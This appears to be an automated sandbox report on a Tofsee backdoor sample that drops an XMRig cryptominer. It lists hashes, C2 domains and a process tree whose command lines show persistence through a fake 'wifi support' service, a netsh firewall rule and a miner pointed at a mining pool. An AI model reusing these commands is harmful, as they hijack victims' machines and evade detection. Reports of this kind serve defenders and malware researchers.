Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-05-2023 22:56

General

  • Target

    file.exe

  • Size

    317KB

  • MD5

    a287377cc831c829ac4f1f039a9691b0

  • SHA1

    43c5dff1710c27f71fa53c77d5c53d55d211e974

  • SHA256

    4416e4a4b101caee2b4e13d32e46d99c5c0458f62a8f095680a6df135dcb9bfb

  • SHA512

    982aa1db607c134014e9e5a945172aa0bb4ba0e1fa9d9d062d4b58738d9fe7a9314fe9bd5207832b0bd7af78200e9dcaeff49e494c80745200f5b705292b5ae6

  • SSDEEP

    3072:T8fNxIhB7bkD8Oh/UL8crUiFwfNpkj+ym/465NgPeN9oD5h9y4UHHOx//t:QahkD8OxUL9rUIsXy84U+PevS9FC8t

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2184
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tzualzep\
      2⤵
        PID:3268
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qzfqodv.exe" C:\Windows\SysWOW64\tzualzep\
        2⤵
          PID:1668
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tzualzep binPath= "C:\Windows\SysWOW64\tzualzep\qzfqodv.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4388
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tzualzep "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:232
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tzualzep
          2⤵
          • Launches sc.exe
          PID:3992
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4664
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2184 -s 1132
          2⤵
          • Program crash
          PID:2280
      • C:\Windows\SysWOW64\tzualzep\qzfqodv.exe
        C:\Windows\SysWOW64\tzualzep\qzfqodv.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1412
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2600
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4988
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2184 -ip 2184
        1⤵
          PID:1732

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\qzfqodv.exe

          Filesize

          10.3MB

          MD5

          d5b307548455aa10a0358bf9e613f386

          SHA1

          550dce283bad734ce6ad05ea8c8e1287db74a064

          SHA256

          6587dac7eb37ca62b6eb365a53c9d1ae20fa89f1cf5a49a3a12f2b11a8d89d26

          SHA512

          fdb444ff5983a275196333344d47702b654bf787a466937c715c98ba9525081e57c5259b77a0a8c53fe03513e773cf144fcc0098d6d9ad0cc33bdc66b588fdbf

        • C:\Windows\SysWOW64\tzualzep\qzfqodv.exe

          Filesize

          10.3MB

          MD5

          d5b307548455aa10a0358bf9e613f386

          SHA1

          550dce283bad734ce6ad05ea8c8e1287db74a064

          SHA256

          6587dac7eb37ca62b6eb365a53c9d1ae20fa89f1cf5a49a3a12f2b11a8d89d26

          SHA512

          fdb444ff5983a275196333344d47702b654bf787a466937c715c98ba9525081e57c5259b77a0a8c53fe03513e773cf144fcc0098d6d9ad0cc33bdc66b588fdbf

        • memory/1412-141-0x0000000000400000-0x00000000006E9000-memory.dmp

          Filesize

          2.9MB

        • memory/2184-139-0x0000000000400000-0x00000000006E9000-memory.dmp

          Filesize

          2.9MB

        • memory/2184-135-0x0000000000850000-0x0000000000863000-memory.dmp

          Filesize

          76KB

        • memory/2600-167-0x0000000002340000-0x0000000002350000-memory.dmp

          Filesize

          64KB

        • memory/2600-169-0x0000000002340000-0x0000000002350000-memory.dmp

          Filesize

          64KB

        • memory/2600-144-0x0000000000DC0000-0x0000000000DD5000-memory.dmp

          Filesize

          84KB

        • memory/2600-145-0x0000000000DC0000-0x0000000000DD5000-memory.dmp

          Filesize

          84KB

        • memory/2600-146-0x0000000000DC0000-0x0000000000DD5000-memory.dmp

          Filesize

          84KB

        • memory/2600-148-0x0000000000DC0000-0x0000000000DD5000-memory.dmp

          Filesize

          84KB

        • memory/2600-149-0x0000000002C00000-0x0000000002E0F000-memory.dmp

          Filesize

          2.1MB

        • memory/2600-152-0x0000000002C00000-0x0000000002E0F000-memory.dmp

          Filesize

          2.1MB

        • memory/2600-153-0x0000000002330000-0x0000000002336000-memory.dmp

          Filesize

          24KB

        • memory/2600-156-0x0000000002340000-0x0000000002350000-memory.dmp

          Filesize

          64KB

        • memory/2600-160-0x0000000002340000-0x0000000002350000-memory.dmp

          Filesize

          64KB

        • memory/2600-161-0x0000000002340000-0x0000000002350000-memory.dmp

          Filesize

          64KB

        • memory/2600-162-0x0000000002340000-0x0000000002350000-memory.dmp

          Filesize

          64KB

        • memory/2600-159-0x0000000002340000-0x0000000002350000-memory.dmp

          Filesize

          64KB

        • memory/2600-163-0x0000000002340000-0x0000000002350000-memory.dmp

          Filesize

          64KB

        • memory/2600-164-0x0000000002340000-0x0000000002350000-memory.dmp

          Filesize

          64KB

        • memory/2600-166-0x0000000002340000-0x0000000002350000-memory.dmp

          Filesize

          64KB

        • memory/2600-140-0x0000000000DC0000-0x0000000000DD5000-memory.dmp

          Filesize

          84KB

        • memory/2600-165-0x0000000002340000-0x0000000002350000-memory.dmp

          Filesize

          64KB

        • memory/2600-143-0x0000000000DC0000-0x0000000000DD5000-memory.dmp

          Filesize

          84KB

        • memory/2600-168-0x0000000002340000-0x0000000002350000-memory.dmp

          Filesize

          64KB

        • memory/2600-170-0x0000000002340000-0x0000000002350000-memory.dmp

          Filesize

          64KB

        • memory/2600-171-0x0000000002340000-0x0000000002350000-memory.dmp

          Filesize

          64KB

        • memory/2600-172-0x0000000002340000-0x0000000002350000-memory.dmp

          Filesize

          64KB

        • memory/2600-173-0x0000000002340000-0x0000000002350000-memory.dmp

          Filesize

          64KB

        • memory/2600-174-0x0000000002340000-0x0000000002350000-memory.dmp

          Filesize

          64KB

        • memory/2600-175-0x0000000002340000-0x0000000002350000-memory.dmp

          Filesize

          64KB

        • memory/2600-176-0x00000000023D0000-0x00000000023D5000-memory.dmp

          Filesize

          20KB

        • memory/2600-179-0x00000000023D0000-0x00000000023D5000-memory.dmp

          Filesize

          20KB

        • memory/2600-180-0x0000000007B80000-0x0000000007F8B000-memory.dmp

          Filesize

          4.0MB

        • memory/2600-183-0x0000000007B80000-0x0000000007F8B000-memory.dmp

          Filesize

          4.0MB

        • memory/2600-184-0x00000000023E0000-0x00000000023E7000-memory.dmp

          Filesize

          28KB

        • memory/4988-188-0x0000000001000000-0x00000000010F1000-memory.dmp

          Filesize

          964KB

        • memory/4988-193-0x0000000001000000-0x00000000010F1000-memory.dmp

          Filesize

          964KB

        • memory/4988-194-0x0000000001000000-0x00000000010F1000-memory.dmp

          Filesize

          964KB

        • memory/4988-196-0x0000000001000000-0x00000000010F1000-memory.dmp

          Filesize

          964KB

        • memory/4988-195-0x0000000001000000-0x00000000010F1000-memory.dmp

          Filesize

          964KB

        • memory/4988-197-0x0000000001000000-0x00000000010F1000-memory.dmp

          Filesize

          964KB

        • memory/4988-198-0x0000000001000000-0x00000000010F1000-memory.dmp

          Filesize

          964KB

        • memory/4988-199-0x0000000001000000-0x00000000010F1000-memory.dmp

          Filesize

          964KB